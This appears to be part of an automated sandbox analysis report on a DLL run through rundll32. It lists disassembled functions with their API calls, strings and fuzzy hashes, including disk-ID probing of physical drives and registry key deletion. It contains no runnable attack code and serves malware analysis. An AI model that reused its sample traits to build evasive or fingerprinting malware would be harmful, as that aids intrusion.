Function 000000018002AD5C Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 381COMMON

Download Yara Rule

APIs

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

_wcsicmp.MSVCRT ref: 000000018002AE4E

Part of subcall function 00000001800275E4: IIDFromString.OLE32(?,?,?,?,?,?,?,00000001800254CC), ref: 000000018002760B

Strings

ftp:, xrefs: 000000018002AE44
, xrefs: 000000018002B093
CLSID, xrefs: 000000018002AEFC

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: FromHeapProcessString_wcsicmp
String ID: $CLSID$ftp:
API String ID: 2012545421-381575252
Opcode ID: 248410c0f50f664e6cc0f1b348e136da499af2e3908b9f8e498f8b2d610c306c
Instruction ID: d299122ce3e9d517528ccb327dc5a756d1d769515d838a72f3e491c2ced193a8
Opcode Fuzzy Hash: 248410c0f50f664e6cc0f1b348e136da499af2e3908b9f8e498f8b2d610c306c
Instruction Fuzzy Hash: 41F14073301B4886EB52DB29D8407DE7361F789BE9F448311AA6D876E5DF78CA49C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018006616C Relevance: 6.3, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000001800661AC
LeaveCriticalSection.KERNEL32 ref: 00000001800661F5

Part of subcall function 0000000180065438: InitializeCriticalSection.KERNEL32 ref: 000000018006552A

malloc.MSVCRT ref: 000000018006621C
memmove.MSVCRT ref: 0000000180066241
free.MSVCRT ref: 0000000180066272

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeavefreemallocmemmove
String ID:
API String ID: 1740668140-0
Opcode ID: 22bd5bec54ccc0147c543859d5de4a8772452d611ad636121f4766ad3a15c823
Instruction ID: e94a3ea1fea36b0b32ca35adaff13378f84fa0a728ffd439e1abdc7c1a055df0
Opcode Fuzzy Hash: 22bd5bec54ccc0147c543859d5de4a8772452d611ad636121f4766ad3a15c823
Instruction Fuzzy Hash: 4D316C32605B4886EB828F15EC543D977A5F79CBE4F59C225EAA9077A5CF3CC249C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002CD40 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 142COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 000000018002CE3A

Strings

ScriptHostEncode, xrefs: 000000018002CDE1
ScriptEngine, xrefs: 000000018002CD6C
{0CF774D0-F077-11D1-B1BC-00C04F86C324}, xrefs: 000000018002CE2F

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _wcsicmp
String ID: ScriptEngine$ScriptHostEncode${0CF774D0-F077-11D1-B1BC-00C04F86C324}
API String ID: 2081463915-2936173157
Opcode ID: 91efc328dbdbb67abd3faf589063878782725af3816d995bc94ee69e6f4a6945
Instruction ID: 292b1ab8c79ee979d74f734f58635ebd7dc6439912a4449b937fba72fcba6d7c
Opcode Fuzzy Hash: 91efc328dbdbb67abd3faf589063878782725af3816d995bc94ee69e6f4a6945
Instruction Fuzzy Hash: 5B514F72711E4986EB419F79C8807CC2760FB49BF4F449322AA3E936E5DF64C989C340

Uniqueness

Uniqueness Score: -1.00%

Function 000000018003C208 Relevance: 6.1, APIs: 4, Instructions: 130COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,00000001,?), ref: 000000018003C25E
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,00000001,?), ref: 000000018003C2A7
??_V@YAXPEAX@Z.MSVCRT ref: 000000018003C30E
??_V@YAXPEAX@Z.MSVCRT ref: 000000018003C3A4

Part of subcall function 0000000180065438: InitializeCriticalSection.KERNEL32 ref: 000000018006552A

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID:
API String ID: 3991485460-0
Opcode ID: 679129d8c6ac973d941e645a86577fd2f61a9db60b9c7d755c606238edf6303c
Instruction ID: ad71276d619936af7ac4a5a15bbb21467ea728ff9fc93a66917b9291cac940fe
Opcode Fuzzy Hash: 679129d8c6ac973d941e645a86577fd2f61a9db60b9c7d755c606238edf6303c
Instruction Fuzzy Hash: 04514B36201B4886EB96CF21E844B9E33A9FB48BD8F158516EE6947768CF34C658C391

Uniqueness

Uniqueness Score: -1.00%

Function 000000018007118C Relevance: 6.1, APIs: 4, Instructions: 130COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 000000018007119C
wcstol.MSVCRT ref: 00000001800711CB
_errno.MSVCRT ref: 00000001800711DD
free.MSVCRT ref: 000000018007157D

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _errno$freewcstol
String ID:
API String ID: 1017142431-0
Opcode ID: ff5ef48b78630e08533642c69faefc33a22d26cdb222d6ff618587a61c53f66f
Instruction ID: d086f90ac81a06e5d512d2f495a144483870d0a007861e51eb34273852a96ff0
Opcode Fuzzy Hash: ff5ef48b78630e08533642c69faefc33a22d26cdb222d6ff618587a61c53f66f
Instruction Fuzzy Hash: 65516B326047888AEBA68F5AA0403EE73A4F7887D5F108115FF9957BD8CF3AD655CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018004C20C Relevance: 6.1, APIs: 4, Instructions: 128COMMON

Download Yara Rule

APIs

Part of subcall function 000000018000B560: ??2@YAPEAX_K@Z.MSVCRT ref: 000000018000B584
Part of subcall function 000000018000B560: SysAllocString.OLEAUT32 ref: 000000018000B5A6

SysFreeString.OLEAUT32 ref: 000000018004C293
??_V@YAXPEAX@Z.MSVCRT ref: 000000018004C2A6
??3@YAXPEAX@Z.MSVCRT ref: 000000018004C2B9
SysFreeString.OLEAUT32 ref: 000000018004C385

Part of subcall function 000000018000AF68: ??2@YAPEAX_K@Z.MSVCRT ref: 000000018000B026

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: String$??2@Free$??3@Alloc
String ID:
API String ID: 1832687772-0
Opcode ID: ec64ef81cce12dd9496e54433e59b2b444f0d078a8dee198f6ac45ada33b9a8a
Instruction ID: 427e473512a75300f47d7fa230ba5ccb5e5a60885440308665830fb44559812f
Opcode Fuzzy Hash: ec64ef81cce12dd9496e54433e59b2b444f0d078a8dee198f6ac45ada33b9a8a
Instruction Fuzzy Hash: 58513A72711A0885EB91DFA5C8947ED3370FB48FE9F098621EE2A57698DF78C648C344

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180072146 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 0000000180072156
wcstol.MSVCRT ref: 0000000180072185
_errno.MSVCRT ref: 0000000180072197
free.MSVCRT ref: 00000001800723C6

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _errno$freewcstol
String ID:
API String ID: 1017142431-0
Opcode ID: 9f264acde1fee37a4af08923b04b71ab41a6f4bc8a876f6580f083589344777c
Instruction ID: ea2c5121f7eb01e98f314e31e7cc383447851c7166ff6db358424aa6cc9ed06f
Opcode Fuzzy Hash: 9f264acde1fee37a4af08923b04b71ab41a6f4bc8a876f6580f083589344777c
Instruction Fuzzy Hash: C351683264478886EBA68F26A1403AE33E5F7597D8F008115FF9907798CF3ADA59CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180072242 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 000000018007224E
wcstol.MSVCRT ref: 000000018007227D
_errno.MSVCRT ref: 000000018007228F
free.MSVCRT ref: 00000001800723C6

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _errno$freewcstol
String ID:
API String ID: 1017142431-0
Opcode ID: c26116d00bfa255a5e71194d5ccf5fda896b8abf688f47e901cb44eb358fcc84
Instruction ID: b35714efefb3a3022de44867f37344a12698415f3c6fa059f944579b3902dd1a
Opcode Fuzzy Hash: c26116d00bfa255a5e71194d5ccf5fda896b8abf688f47e901cb44eb358fcc84
Instruction Fuzzy Hash: AE415A7264478886EBB68F2594503EE37A1F7597E8F008115FF5807798CF3EDA5A8B00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000ADF4 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 000000018000AE88
GetLastError.KERNEL32 ref: 000000018000AE9A
WideCharToMultiByte.KERNEL32 ref: 000000018000AEC4
WideCharToMultiByte.KERNEL32 ref: 000000018000AEFA

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: ac5000abb9ee01d321f1ec273ada81a5511227e924beba0eb19fad604af8d780
Instruction ID: bae3b3959ef39ef5daeeababb2c60870945ab1ace41e6c98233782fb8fc2ea52
Opcode Fuzzy Hash: ac5000abb9ee01d321f1ec273ada81a5511227e924beba0eb19fad604af8d780
Instruction Fuzzy Hash: 9B31D272604B8482E764CF56B88074AB7A8F79DBD0F548628AFD947BA5CF38C645C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018006C200 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 000000018006A2B8: malloc.MSVCRT(?,?,?,0000000180069638), ref: 000000018006DF0A
Part of subcall function 000000018006A2B8: SetLastError.KERNEL32(?,?,?,0000000180069638), ref: 000000018006DF1B

Part of subcall function 000000018006A32C: CreateFileA.KERNEL32 ref: 000000018006A363

memset.MSVCRT ref: 000000018006C2AB

Part of subcall function 000000018006A2C8: DeviceIoControl.KERNEL32 ref: 000000018006A2F1

CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000400,?,00000000,00002000,00000000,000000018006C06D), ref: 000000018006C308

Part of subcall function 000000018006BD88: memmove.MSVCRT ref: 000000018006BDDE

Strings

\\.\PhysicalDrive%d, xrefs: 000000018006C25A
DISKID:, xrefs: 000000018006C2EC

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CloseControlCreateDeviceErrorFileHandleLastmallocmemmovememset
String ID: DISKID:$\\.\PhysicalDrive%d
API String ID: 1541746987-3765948602
Opcode ID: 0a0cd503669e2d71dfc94f1a05760105f70003c8e3e1ab21ca38997401335250
Instruction ID: 026b1f04e6263926176f9cf333c98f43658e4a5f02bea82afa83b16206533a48
Opcode Fuzzy Hash: 0a0cd503669e2d71dfc94f1a05760105f70003c8e3e1ab21ca38997401335250
Instruction Fuzzy Hash: D831063220474542FBA29B66AC00BEA7392F789BD4F608121BE5947795DF3CC749CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E200 Relevance: 6.1, APIs: 4, Instructions: 75registryCOMMON

Download Yara Rule

APIs

RegDeleteKeyW.ADVAPI32 ref: 000000018001E242
RegDeleteKeyW.ADVAPI32 ref: 000000018001E265
RegDeleteKeyW.ADVAPI32 ref: 000000018001E293
RegDeleteKeyW.ADVAPI32 ref: 000000018001E2B6

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Delete
String ID:
API String ID: 1035893169-0
Opcode ID: 22d0e1e140aac874fdce29ddc6509984b94616c0dddbf9d09c1d0fd8dd23a40b
Instruction ID: 40b5deca117a7cefaab46096add2d716b918ff16b730c8479b301d173d09ace7
Opcode Fuzzy Hash: 22d0e1e140aac874fdce29ddc6509984b94616c0dddbf9d09c1d0fd8dd23a40b
Instruction Fuzzy Hash: 44219031705E8840FBAADBA2991079D6299BB4EFC0F1DC525FD2A437D4DE38C7488311

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800324A4 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

PathFindFileNameW.SHLWAPI ref: 00000001800324C4

Part of subcall function 000000018000B560: ??2@YAPEAX_K@Z.MSVCRT ref: 000000018000B584
Part of subcall function 000000018000B560: SysAllocString.OLEAUT32 ref: 000000018000B5A6

Part of subcall function 000000018003AE08: SysFreeString.OLEAUT32 ref: 000000018003AE51
Part of subcall function 000000018003AE08: ??_V@YAXPEAX@Z.MSVCRT ref: 000000018003AE64
Part of subcall function 000000018003AE08: ??3@YAXPEAX@Z.MSVCRT ref: 000000018003AE77

SysFreeString.OLEAUT32 ref: 000000018003251C
??_V@YAXPEAX@Z.MSVCRT ref: 000000018003252F
??3@YAXPEAX@Z.MSVCRT ref: 0000000180032542

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: String$??3@Free$??2@AllocFileFindNamePath
String ID:
API String ID: 772211780-0
Opcode ID: 0f2a8a44e8f4c9cff1795b6050ee267adc792dc9736a48368970f0735874c93d
Instruction ID: 2d82027f7e94cb9bcb22be17a4537bea80464cdcc919518384ddf93808e552b3
Opcode Fuzzy Hash: 0f2a8a44e8f4c9cff1795b6050ee267adc792dc9736a48368970f0735874c93d
Instruction Fuzzy Hash: 0521C432611E4482EB529F29D85039EB3A0FB89BF4F198711EA794B6E8DF7CC2448700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180032A90 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

PathFindFileNameW.SHLWAPI ref: 0000000180032AB3

Part of subcall function 000000018000B560: ??2@YAPEAX_K@Z.MSVCRT ref: 000000018000B584
Part of subcall function 000000018000B560: SysAllocString.OLEAUT32 ref: 000000018000B5A6

Part of subcall function 000000018003AE08: SysFreeString.OLEAUT32 ref: 000000018003AE51
Part of subcall function 000000018003AE08: ??_V@YAXPEAX@Z.MSVCRT ref: 000000018003AE64
Part of subcall function 000000018003AE08: ??3@YAXPEAX@Z.MSVCRT ref: 000000018003AE77

SysFreeString.OLEAUT32 ref: 0000000180032B0B
??_V@YAXPEAX@Z.MSVCRT ref: 0000000180032B1E
??3@YAXPEAX@Z.MSVCRT ref: 0000000180032B31

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: String$??3@Free$??2@AllocFileFindNamePath
String ID:
API String ID: 772211780-0
Opcode ID: f9574987d235c529e2b4a5f79013c743acc608ea97a4ad6ac219f98d4fdede78
Instruction ID: 283ffb4ef057f0283fd59c714cbfe65b47d72467c2882de283dc062303e29699
Opcode Fuzzy Hash: f9574987d235c529e2b4a5f79013c743acc608ea97a4ad6ac219f98d4fdede78
Instruction Fuzzy Hash: 1221B832611A4482EB92DF29D84439EB3A0FB89BF4F198725E779476E9DF7CC6448700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180033068 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

PathFindFileNameW.SHLWAPI ref: 0000000180033088

Part of subcall function 000000018000B560: ??2@YAPEAX_K@Z.MSVCRT ref: 000000018000B584
Part of subcall function 000000018000B560: SysAllocString.OLEAUT32 ref: 000000018000B5A6

Part of subcall function 000000018003AE08: SysFreeString.OLEAUT32 ref: 000000018003AE51
Part of subcall function 000000018003AE08: ??_V@YAXPEAX@Z.MSVCRT ref: 000000018003AE64
Part of subcall function 000000018003AE08: ??3@YAXPEAX@Z.MSVCRT ref: 000000018003AE77

SysFreeString.OLEAUT32 ref: 00000001800330E0
??_V@YAXPEAX@Z.MSVCRT ref: 00000001800330F3
??3@YAXPEAX@Z.MSVCRT ref: 0000000180033106

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: String$??3@Free$??2@AllocFileFindNamePath
String ID:
API String ID: 772211780-0
Opcode ID: 307ce0f3569f6860fa341fe80190f4157af3b04d29387ea8d5fe3f277a62001a
Instruction ID: d9e03fda3b1d153f0bd4bb02b331d59468f410aa3c35072f5ffbfd31d5bd1a6e
Opcode Fuzzy Hash: 307ce0f3569f6860fa341fe80190f4157af3b04d29387ea8d5fe3f277a62001a
Instruction Fuzzy Hash: CD21D632601A4482EB568F29D89139EB3A0FB88BF4F198715EA79476E8DF7CC644C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018003C614 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 000000018003C62A
malloc.MSVCRT(?,?,?,00000001800188EE), ref: 000000018003C663
free.MSVCRT(?,?,?,00000001800188EE), ref: 000000018003C6B1
GetTickCount.KERNEL32 ref: 000000018003C6B7

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CountTick$freemalloc
String ID:
API String ID: 112427268-0
Opcode ID: 40d9beaaacbcde50260c436ec66f3643f495edb07ad5aab697476aac6434d7f6
Instruction ID: b8918b2958dc72fb2df8bfc42f6eb5cd02d312beeb31fdbe44136919b98f9138
Opcode Fuzzy Hash: 40d9beaaacbcde50260c436ec66f3643f495edb07ad5aab697476aac6434d7f6
Instruction Fuzzy Hash: 3021517261560987EFD78B24EC85BAF23A0B74C7C0F42E024F95682695DF38D75D8B02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001AF10 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 000000018001AF4B
EnterCriticalSection.KERNEL32 ref: 000000018001AF6C
LeaveCriticalSection.KERNEL32 ref: 000000018001AFB5

Part of subcall function 0000000180065438: InitializeCriticalSection.KERNEL32 ref: 000000018006552A

DeleteCriticalSection.KERNEL32 ref: 000000018001AFE6

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection$Initialize$DeleteEnterLeave
String ID:
API String ID: 3345835275-0
Opcode ID: 342e2fd84596a913fc4e554fed418576577eb4ed1e3f0298ebe73fa484c4289a
Instruction ID: bac7ba2d50b8a8327d60b40396a6a413962eafb144c30abffe047fc5a4d1e144
Opcode Fuzzy Hash: 342e2fd84596a913fc4e554fed418576577eb4ed1e3f0298ebe73fa484c4289a
Instruction Fuzzy Hash: 51212970605A4896FBD29F50EC543D873A8F74EBE4F588229EAA9062A5DF39C74DC700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180070910 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 000000018007093E
_msize.MSVCRT ref: 0000000180070965
realloc.MSVCRT ref: 000000018007097B
memset.MSVCRT ref: 0000000180070999

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
